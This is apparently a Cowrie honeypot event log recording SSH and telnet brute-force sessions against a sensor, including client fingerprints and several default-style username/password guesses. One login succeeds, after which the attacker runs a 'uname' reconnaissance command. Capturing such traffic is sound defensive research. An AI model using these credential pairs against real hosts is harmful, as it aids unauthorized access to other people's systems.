{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:14.082357Z","src_ip":"176.65.139.103","session":"88aad16bc036","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1","message":"login attempt [root/Qwerty1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:14.760903Z","src_ip":"176.65.139.103","session":"88aad16bc036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:15.852397Z","src_ip":"176.65.139.103","session":"88aad16bc036","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.30649757385254,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:16.875971Z","src_ip":"185.111.235.80","session":"f0a560ece504","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":36842,"dst_ip":"10.17.0.5","dst_port":23,"session":"665e17c5c52c","protocol":"telnet","message":"New connection: 108.61.242.114:36842 (10.17.0.5:23) [session: 665e17c5c52c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:17.351364Z"}
{"eventid":"cowrie.session.closed","duration":31.13012671470642,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:17.733302Z","src_ip":"108.61.242.114","session":"02b3252343cd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.375536680221558,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:19.349593Z","src_ip":"108.61.242.114","session":"9c324b382e45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.961462020874023,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:19.652886Z","src_ip":"108.61.242.114","session":"a402c28d1e63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":51544,"dst_ip":"10.17.0.5","dst_port":22,"session":"8e8e80ea58c0","protocol":"ssh","message":"New connection: 176.65.139.103:51544 (10.17.0.5:22) [session: 8e8e80ea58c0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.269401Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.274256Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.356624Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin!@","message":"login attempt [admin/admin!@] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.640419Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.860946Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -s -v -n -r -m","message":"CMD: uname -s -v -n -r -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.864458Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","size":71,"shasum":"7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/7ab552f01de999cb12092166cdc36fd68a0edbb33927e0ef3d26f4ee6449f804 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.970181Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:21.975682Z","src_ip":"176.65.139.103","session":"8e8e80ea58c0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.91499614715576,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:22.166284Z","src_ip":"108.61.242.114","session":"7a1e7ab2e02c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"83.224.144.159","src_port":47612,"dst_ip":"159.203.135.109","dst_port":23,"session":"de9ed165e45c","protocol":"telnet","message":"New connection: 83.224.144.159:47612 (159.203.135.109:23) [session: de9ed165e45c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:24.336230Z"}
{"eventid":"cowrie.session.connect","src_ip":"117.120.7.112","src_port":33060,"dst_ip":"159.203.135.109","dst_port":23,"session":"4bbd15aa3d94","protocol":"telnet","message":"New connection: 117.120.7.112:33060 (159.203.135.109:23) [session: 4bbd15aa3d94]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:24.425530Z"}
{"eventid":"cowrie.session.closed","duration":30.669304609298706,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:24.436954Z","src_ip":"108.61.242.114","session":"77ddc8e3b50e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.093690872192383,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:24.654363Z","src_ip":"108.61.242.114","session":"e55aa605c6f1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.165344953536987,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:25.612307Z","src_ip":"108.61.242.114","session":"20c3ea0c9d47","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52954,"dst_ip":"10.17.0.5","dst_port":22,"session":"c4b93afcbab5","protocol":"ssh","message":"New connection: 176.65.139.103:52954 (10.17.0.5:22) [session: c4b93afcbab5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:27.913040Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:27.917428Z","src_ip":"176.65.139.103","session":"c4b93afcbab5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:28.006273Z","src_ip":"176.65.139.103","session":"c4b93afcbab5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"weblogic","password":"weblogic","message":"login attempt [weblogic/weblogic] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:28.266819Z","src_ip":"176.65.139.103","session":"c4b93afcbab5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"108.61.242.114","src_port":41116,"dst_ip":"10.17.0.5","dst_port":23,"session":"b95ab4a07e5e","protocol":"telnet","message":"New connection: 108.61.242.114:41116 (10.17.0.5:23) [session: b95ab4a07e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:29.263179Z"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:29.450950Z","src_ip":"176.65.139.103","session":"c4b93afcbab5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.02830481529236,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:32.911069Z","src_ip":"108.61.242.114","session":"69582d0edcd9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52856,"dst_ip":"10.17.0.5","dst_port":22,"session":"3de3b4a8c758","protocol":"ssh","message":"New connection: 176.65.139.103:52856 (10.17.0.5:22) [session: 3de3b4a8c758]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:34.386649Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:34.465004Z","src_ip":"176.65.139.103","session":"3de3b4a8c758","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:34.568509Z","src_ip":"176.65.139.103","session":"3de3b4a8c758","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:34.962994Z","src_ip":"176.65.139.103","session":"3de3b4a8c758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.393365144729614,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:35.224193Z","src_ip":"108.61.242.114","session":"9b48de5702b4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.562332153320312,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:35.999006Z","src_ip":"185.111.235.80","session":"43b63bbc84b1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:36.071189Z","src_ip":"176.65.139.103","session":"3de3b4a8c758","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":13.826756715774536,"message":"Connection lost after 13 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:38.162816Z","src_ip":"83.224.144.159","session":"de9ed165e45c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":52886,"dst_ip":"10.17.0.5","dst_port":22,"session":"a59cd00adc9b","protocol":"ssh","message":"New connection: 176.65.139.103:52886 (10.17.0.5:22) [session: a59cd00adc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:40.985395Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:40.989769Z","src_ip":"176.65.139.103","session":"a59cd00adc9b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:41.077322Z","src_ip":"176.65.139.103","session":"a59cd00adc9b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:41.335523Z","src_ip":"176.65.139.103","session":"a59cd00adc9b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:42.685025Z","src_ip":"176.65.139.103","session":"a59cd00adc9b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.103","src_port":43514,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ca7d72490d5","protocol":"ssh","message":"New connection: 176.65.139.103:43514 (10.17.0.5:22) [session: 7ca7d72490d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:47.717648Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:47.726427Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:47.801360Z","src_ip":"176.65.139.103","session":"7ca7d72490d5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":33408,"dst_ip":"159.203.135.109","dst_port":22,"session":"6fe2f052013a","protocol":"ssh","message":"New connection: 159.203.92.129:33408 (159.203.135.109:22) [session: 6fe2f052013a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:47.989936Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:47.994900Z","src_ip":"159.203.92.129","session":"6fe2f052013a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T04:31:47.999163Z","src_ip":"159.203.92.129","session":"6fe2f052013a","protocol":"ssh"}
